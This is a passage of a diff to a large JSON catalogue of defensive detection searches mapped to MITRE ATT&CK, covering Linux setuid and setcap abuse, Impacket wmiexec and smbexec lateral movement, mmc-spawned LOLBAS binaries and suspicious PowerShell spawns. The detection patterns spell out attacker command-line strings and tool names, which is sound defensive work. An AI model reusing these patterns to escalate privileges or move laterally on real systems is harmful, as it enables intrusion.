ProcessId SubjectDomainName SubjectUserName SubjectUserSid TargetUserName TargetLogonId TargetDomainName EnabledPrivilegeList action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_access_token_manipulation_sedebugprivilege_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Brute Ratel C4", - "CISA AA23-347A", - "DarkGate Malware", - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process $ProcessName$ adjust its privileges with SeDebugPrivilege on $Computer$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.002", - "mitre_attack_technique": "Create Process with Token", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Lazarus Group", - "Turla" - ] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } + "technique_id": "T1134.002", + "x_mitre_is_subtechnique": true, + "technique": "Create Process with Token", + "tactic": [ + "defense-evasion", + "privilege-escalation" + ], + "platform": [ + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -374947,170 +264102,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Linux Common Process For Elevation Control", - "description": "The following analytic identifies the execution of common Linux processes used for elevation control, such as `chmod`, `chown`, and `setuid`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because these processes are often abused by adversaries to gain persistence or escalate privileges on compromised hosts. If confirmed malicious, this behavior could allow attackers to modify file attributes, change file ownership, or set user IDs, potentially leading to unauthorized access and control over critical system resources.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"chmod\", \"chown\", \"fchmod\", \"fchmodat\", \"fchown\", \"fchownat\", \"fremovexattr\", \"fsetxattr\", \"lchown\", \"lremovexattr\", \"lsetxattr\", \"removexattr\", \"setuid\", \"setgid\", \"setreuid\", \"setregid\", \"chattr\") OR Processes.process IN (\"*chmod *\", \"*chown *\", \"*fchmod *\", \"*fchmodat *\", \"*fchown *\", \"*fchownat *\", \"*fremovexattr *\", \"*fsetxattr *\", \"*lchown *\", \"*lremovexattr *\", \"*lsetxattr *\", \"*removexattr *\", \"*setuid *\", \"*setgid *\", \"*setreuid *\", \"*setregid *\", \"*setcap *\", \"*chattr *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_common_process_for_elevation_control_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ with process $process_name$ on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.001", - "mitre_attack_technique": "Setuid and Setgid", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Setuid Using Chmod Utility", - "description": "The following analytic detects the execution of the chmod utility to set the SUID or SGID bit on files, which can allow users to temporarily gain root or group-level access. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments related to chmod. This activity is significant as it can indicate an attempt to escalate privileges or maintain persistence on a system. If confirmed malicious, an attacker could gain elevated access, potentially compromising sensitive data or critical system functions.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes WHERE (Processes.process_name = chmod OR Processes.process = \"*chmod *\") AND Processes.process IN(\"* g+s *\", \"* u+s *\", \"* 4777 *\", \"* 4577 *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_setuid_using_chmod_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that may set suid or sgid on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.001", - "mitre_attack_technique": "Setuid and Setgid", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Setuid Using Setcap Utility", - "description": "The following analytic detects the execution of the 'setcap' utility to enable the SUID bit on Linux systems. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and command-line arguments that indicate the use of 'setcap' with specific capabilities. This activity is significant because setting the SUID bit allows a user to temporarily gain root access, posing a substantial security risk. If confirmed malicious, an attacker could escalate privileges, execute arbitrary commands with elevated permissions, and potentially compromise the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = setcap OR Processes.process = \"*setcap *\") AND Processes.process IN (\"* cap_setuid=ep *\", \"* cap_setuid+ep *\", \"* cap_net_bind_service+p *\", \"* cap_net_raw+ep *\", \"* cap_dac_read_search+ep *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_setuid_using_setcap_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may set suid or sgid on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.001", - "mitre_attack_technique": "Setuid and Setgid", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -377479,939 +266470,6 @@ "source_data_element": "host", "relationship": "blocked listener on", "target_data_element": "process" - }, - { - "name": "Impacket Lateral Movement Commandline Parameters", - "description": "The following analytic identifies the use of suspicious command-line parameters associated with Impacket tools, such as `wmiexec.py`, `smbexec.py`, `dcomexec.py`, and `atexec.py`, which are used for lateral movement and remote code execution. It detects these activities by analyzing process execution logs from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns. This activity is significant because Impacket tools are commonly used by adversaries and Red Teams to move laterally within a network. If confirmed malicious, this could allow attackers to execute commands remotely, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe (Processes.process = \"*/Q /c * \\\\\\\\127.0.0.1\\\\*$*\" AND Processes.process IN (\"*2>&1*\",\"*2>&1*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command line parameters on $dest$ may represent a lateral movement attack with Impackets tools", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement smbexec CommandLine Parameters", - "description": "The following analytic identifies suspicious command-line parameters associated with the use of Impacket's smbexec.py for lateral movement. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns indicative of Impacket tool usage. This activity is significant as both Red Teams and adversaries use Impacket for remote code execution and lateral movement. If confirmed malicious, this activity could allow attackers to execute commands on remote endpoints, potentially leading to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process,\"(?i)echo\\s+cd\") AND match(process, \"(?i)\\\\__output\") AND match(process, \"(?i)C:\\\\\\\\Windows\\\\\\\\[a-zA-Z]{1,8}\\\\.bat\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_smbexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using smbexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement WMIExec Commandline Parameters", - "description": "The following analytic detects the use of Impacket's `wmiexec.py` tool for lateral movement by identifying specific command-line parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes spawned by `wmiprvse.exe` with command-line patterns indicative of Impacket usage. This activity is significant as Impacket tools are commonly used by adversaries for remote code execution and lateral movement within a network. If confirmed malicious, this could allow attackers to execute arbitrary commands on remote systems, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wmiprvse.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") AND match(process, \"__\\\\d{1,10}\\\\.\\\\d{1,10}\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `impacket_lateral_movement_wmiexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using wmiexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Mmc LOLBAS Execution Process Spawn", - "description": "The following analytic identifies `mmc.exe` spawning a LOLBAS execution process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where `mmc.exe` is the parent process. This activity is significant because adversaries can abuse the DCOM protocol and MMC20 COM object to execute malicious code, using Windows native binaries documented by the LOLBAS project. If confirmed malicious, this behavior could indicate lateral movement, allowing attackers to execute code remotely, potentially leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=mmc.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mmc_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Mmc.exe spawned a LOLBAS process on $dest$.", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], 